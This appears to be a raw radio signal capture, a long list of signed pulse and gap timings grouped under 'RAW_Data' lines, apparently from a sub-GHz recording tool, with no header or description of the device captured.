-1402 1795 -1398 1801 -3002 1799 -1398 1791 -1398 1801 -1400 3403 -3002 3401 -1398 1795 -3002 3395 -3002 3393 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -3006 1601 -1592 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 3399 -1400 1801 -3002 3401 -2994 -RAW_Data: 1801 -1400 3403 -1400 1795 -1396 1795 -6110 417 -1290 1655 -3016 3535 -2958 3375 -2982 3187 -3194 3399 -2996 3395 -3002 3393 -3002 3393 -3004 3393 -3002 3401 -3002 3395 -3002 3407 -2996 3393 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -3000 1799 -1402 1801 -1396 1791 -1398 3403 -3002 3401 -1402 1799 -2994 3407 -2998 3393 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -3002 3401 -2994 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 3395 -1400 1801 -2994 3401 -3002 3395 -3002 1799 -1398 1791 -1398 3603 -200 965 -3206 1811 -2896 3423 -3010 3405 -3006 3401 -3002 3395 -3002 3393 -3002 3403 -2994 3401 -3002 3401 -2994 3403 -2994 3393 -3002 3407 -2998 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3403 -1396 1791 -3000 3401 -3002 3403 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -3002 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -1402 1795 -2990 3403 -3002 3401 -3002 1801 -1396 3391 -7600 1899 -3004 3287 -3106 3315 -3134 3159 -3176 3185 -3190 3391 -2994 3393 -3002 3395 -3002 3401 -2994 3401 -3004 3393 -3002 3407 -2996 3395 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1396 1797 -3002 1795 -1398 1801 -1400 1801 -1402 3401 -2994 3401 -1402 1795 -3000 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -3000 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 -RAW_Data: 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 3403 -1404 1795 -2992 3401 -3004 3393 -3002 3401 -2994 3403 -4206 2011 -3272 3159 -3176 3181 -3186 3195 -3190 3393 -3002 3395 -3002 3401 -2998 3405 -2996 3405 -2998 3393 -2994 3403 -2994 3401 -3006 3399 -1396 1791 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -3002 1801 -1400 1801 -1400 1801 -1396 3391 -3002 3401 -1402 1799 -3002 3403 -1396 1797 -3002 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 3407 -1404 1597 -3190 3401 -2994 3403 -3002 3393 -1402 1795 -7316 8443 -2572 3577 -2988 3393 -3002 3393 -3004 3393 -3006 3405 -2994 3395 -3002 3393 -3002 3395 -3002 3401 -3002 3393 -3006 3399 -1396 1793 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1797 -1400 1801 -1402 3401 -2998 3397 -1398 1791 -3000 3401 -1400 1801 -3002 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 3395 -3002 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1793 -1398 3401 -1400 1801 -3002 3401 -3004 3393 -1400 1801 -2994 1801 -1400 3603 -4490 1839 -2642 3731 -2746 3573 -2988 3389 -2990 3393 -3000 -RAW_Data: 3405 -2994 3393 -3002 3403 -2994 3401 -2994 3401 -2996 3401 -2994 3401 -3002 3403 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -3000 1801 -1400 1801 -1396 1793 -1398 3401 -3002 3401 -1402 1795 -3004 3405 -1396 1793 -2990 1801 -1400 1801 -1402 1799 -1402 1799 -1398 3397 -3002 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 3401 -1400 1801 -3002 3393 -3002 3403 -1396 1793 -2998 3401 -8350 1743 -2940 3389 -3000 3397 -2994 3393 -3004 3401 -2994 3401 -2994 3403 -3002 3401 -2994 3401 -2996 3401 -2994 3401 -3002 3407 -2998 3393 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -2990 1801 -1402 1799 -1402 1799 -1402 3401 -2998 3407 -1396 1791 -2992 3401 -1402 1801 -3002 1799 -1398 1797 -1400 1801 -1400 1795 -1396 3397 -1400 1801 -3002 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 3393 -1402 1799 -3002 3395 -3002 3407 -1400 1789 -1392 1797 -3006 3605 -4930 1985 -2864 3367 -2982 3185 -3192 3393 -2994 3393 -3002 3403 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -2998 3207 -3194 3393 -3002 3403 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -2992 1801 -1400 1801 -1400 1801 -1400 3407 -2998 3393 -1398 1791 -3000 3401 -1400 1801 -3002 1795 -1398 1801 -1402 1799 -1398 3389 -3002 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 -RAW_Data: 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 3403 -1400 1801 -3002 3393 -3002 3407 -1400 1789 -1392 1797 -1402 1799 -8070 9613 -1418 3825 -2614 3609 -3002 3401 -3004 3401 -3002 3401 -3002 3403 -2994 3393 -3002 3401 -2996 3401 -3002 3401 -2994 3403 -1396 1797 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -3002 1799 -1402 1795 -1398 1801 -1400 3403 -2994 3401 -1398 1791 -2998 3403 -1400 1801 -3002 1801 -1400 1795 -1398 1801 -1402 3401 -2994 3401 -2996 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 3403 -1400 1801 -3002 3393 -1402 1795 -3000 1799 -1402 1799 -1398 1791 -1398 3603 -4754 8207 -2562 3569 -2984 3389 -2996 3401 -2994 3401 -2994 3403 -3002 3401 -2994 3401 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -2990 1801 -1402 1799 -1402 1799 -1402 3401 -3002 3395 -1400 1795 -2992 3401 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 3403 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 3401 -1402 1799 -3002 3395 -1400 1801 -2994 1801 -1400 1801 -1398 3389 -7746 8811 -2430 3817 -2810 3411 -3002 3401 -3002 3401 -3002 3395 -3002 3401 -2994 3403 -2994 3401 -3006 3397 -2996 3393 -3002 3401 -1402 1795 -1394 1797 -1400 1801 -1400 -RAW_Data: 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1799 -1402 3401 -2994 3403 -1400 1801 -3002 3401 -1398 1791 -3000 1799 -1402 1801 -1396 1797 -1400 3403 -1396 1791 -1398 1801 -3002 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 3393 -1402 1799 -3004 3393 -1400 1797 -2998 1801 -1400 3403 -3002 3993 -3076 14679 -2816 3619 -2804 3401 -3002 3403 -3002 3393 -3002 3401 -3004 3393 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3393 -1402 1799 -2994 3403 -1396 1797 -3002 1801 -1400 1801 -1396 3391 -3002 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 3395 -1400 1801 -3002 3393 -1402 1799 -3002 1801 -1398 3389 -1400 1801 -6990 1657 -3042 3285 -3122 3305 -3118 3323 -3152 3167 -3174 3187 -3190 3389 -2996 3401 -2994 3401 -3002 3395 -3002 3401 -2994 3393 -3004 3401 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -2994 1801 -1400 1801 -1400 1801 -1398 3389 -3006 3405 -1398 1791 -3000 3401 -1402 1795 -2990 1801 -1402 1799 -1402 3401 -3002 1795 -1394 3399 -3002 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 -RAW_Data: 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1396 1791 -1398 1801 -1402 3401 -1400 1801 -3006 3399 -1396 1797 -3002 3393 -3002 1797 -1394 3597 -4444 1939 -2940 3439 -3026 3413 -3006 3407 -3002 3397 -3006 3393 -2996 3393 -3002 3393 -3006 3207 -3194 3393 -2994 3403 -3002 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3401 -2996 3401 -1400 1801 -3002 3393 -1398 1791 -3004 1803 -1402 1795 -1398 3403 -3002 3401 -2998 1799 -1394 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 3393 -1402 1801 -3002 3393 -1402 1799 -3002 3399 -3006 3393 -7892 1731 -2682 3593 -2994 3403 -3002 3393 -3002 3393 -3004 3401 -2994 3401 -3002 3403 -2994 3393 -3002 3399 -3006 3393 -2994 3401 -3006 3399 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3006 3397 -1402 1795 -2992 3401 -1402 1799 -3002 1795 -1400 1799 -1402 3401 -2994 3401 -1402 1795 -2992 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1400 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 3401 -1400 1797 -2994 3407 -1400 1795 -3000 3401 -1402 1795 -2992 3601 -4720 1955 -2804 3439 -3022 3413 -3002 3401 -3002 3403 -3002 3401 -2994 3403 -3002 3393 -3002 3393 -3002 3403 -2994 3401 -3002 3395 -3002 3393 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -1402 1799 -3002 1801 -1402 1795 -1394 3397 -1402 -RAW_Data: 1799 -3002 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 3401 -1400 1801 -2994 3403 -1400 1801 -2998 3411 -1400 1789 -1392 1797 -7942 14895 -2618 3611 -2810 3401 -3002 3401 -3002 3403 -3002 3393 -3002 3401 -2996 3401 -3002 3393 -2998 3407 -2994 3393 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3403 -1400 1795 -2992 3401 -1402 1799 -3008 1599 -1594 1795 -1402 3401 -1402 1795 -2992 3401 -3002 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 3401 -1402 1799 -2994 3403 -1400 1795 -1398 1801 -3002 1795 -1400 1799 -1402 3801 -1294 1075 -840 2397 -2992 3435 -3022 3249 -3164 3313 -2942 3519 -3068 3247 -3026 3413 -3010 3401 -3002 3403 -3002 3393 -3002 3403 -3002 3393 -3002 3393 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -3004 1799 -1398 1791 -1398 1801 -1400 3401 -3004 3401 -1396 1793 -2998 3403 -1400 1801 -3002 1795 -1394 1797 -1400 3403 -1400 1801 -1400 1795 -3000 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 -RAW_Data: 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 3401 -1402 1801 -2994 3401 -1402 1795 -1398 1799 -3004 1795 -1394 3397 -7240 3691 -1402 3855 -2834 3419 -3018 3413 -3002 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -3002 3393 -3002 3395 -3002 3407 -2996 3399 -1404 1597 -1590 1791 -1398 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3401 -1402 1795 -2992 3401 -1400 1801 -3002 1801 -1396 1793 -1398 3405 -1404 1797 -1394 1795 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 3403 -1396 1797 -3002 3401 -1402 1795 -1394 1797 -3002 3407 -3004 3595 -4610 1539 -3058 3381 -2988 3193 -3194 3393 -2996 3401 -3002 3393 -3002 3403 -2994 3407 -3004 3395 -2994 3393 -3002 3401 -2996 3401 -2994 3401 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -3002 1801 -1402 1799 -1402 1795 -1398 3401 -3002 3403 -1396 1791 -3000 3401 -1402 1801 -2994 1799 -1402 3401 -3002 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 3401 -1402 1799 -3004 3401 -1396 1793 -1398 1799 -3002 3403 -1400 1801 -6986 367 -734 1837 -2952 3531 -2896 3279 -3050 3435 -3018 3401 -3002 3401 -3008 3405 -2998 3205 -3198 3399 -2994 3401 -2998 3399 -2994 3393 -3002 3401 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3393 -1400 1801 -3002 3395 -1400 1801 -3002 1795 -1394 3397 -3004 1799 -1402 1799 -1398 3395 -3004 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 -RAW_Data: 1801 -1398 1791 -1398 1801 